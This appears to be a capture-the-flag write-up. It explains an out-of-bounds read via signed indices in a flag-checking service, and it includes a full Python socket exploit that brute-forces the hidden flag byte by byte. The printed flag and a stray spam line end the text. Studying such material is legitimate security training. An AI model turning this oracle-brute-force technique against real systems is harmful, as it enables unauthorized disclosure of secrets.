Description:
Look at that guy over there! He's a bandit from the group that robs the stagecoaches in unpredictable intervals. I think he hasn't been with them for very long, so he can't tell whether you're one of them. Try to look like a bandit and talk to him. He probably won't just tell you their plan for the attack, but maybe you can ask him some questions?
Download
nc wildwildweb.fluxfingers.net 1412
Solution:
So we have source code and binary. One look is enough to notice a strange thing in function is_flag_correct: obviously constant global varibales bin_by_hex and flag defined localy! Now we can concentrate in searching vuln and find it in function is_flag_correct:
char value1 = bin_by_hex[flag_hex[i*2 ]]; char value2 = bin_by_hex[flag_hex[i*2+1]];
where flag_hex is a user controlled array on signed bytes! So we can access memory out of array bin_by_hex.
In binary we see that we can access flag variable in stack:
So exploitation idea is to send flag of next type:
sendFlag = known_flag_part + "%02x"%(brute_byte) sendFlag += ''.join([hex_by_pass_el_index(i) for i in range(len(sendFlag),50)])
where hex_by_pass_el_index(i) gives two bytes that cause program to fetch i-th element of original flag. And we get success message when brute_byte is valid and fail message otherwise.
Here is the full exploit code:
import string import socket ERR_SUCCESS = 0 ERR_CONNECT = -1 ERR_INVALID_FLAG = -2 host = 'wildwildweb.fluxfingers.net' port = 1412 def hex_by_pass_el_index(i): return '0'+chr(0xC0+i) def build_hex_pass_guesser(p): r = '' for i in range(len(p)): if p[i]!=None: r += "%02x"%(ord(p[i])) else: r += hex_by_pass_el_index(i) return r def is_valid(s,p): buf = s.recv(10000) if 'guess' not in buf: return ERR_CONNECT s.send(p+'\n') buf = s.recv(10000) if 'Nope' not in buf: return ERR_SUCCESS else: return ERR_INVALID_FLAG def brute(alph = string.printable): s = None p = [None]*50 for k in range(5,len(p)-1): i=0 while True: if s==None: s = socket.create_connection((host,port)) s.settimeout(5) s.recv(50000) p[k] = alph[i] my_hex_pass = build_hex_pass_guesser(p) bVal = is_valid(s,my_hex_pass) #print(k,i,p,bVal) if bVal==ERR_SUCCESS: break if bVal==ERR_CONNECT: s.close() s=None if bVal==ERR_INVALID_FLAG: i += 1 print(p) return p print(''.join(brute()))
And the flag is: flag{6974736a7573746c696b65696e7468656d6f76696573}
Authentic Sneakers | Men’s shoes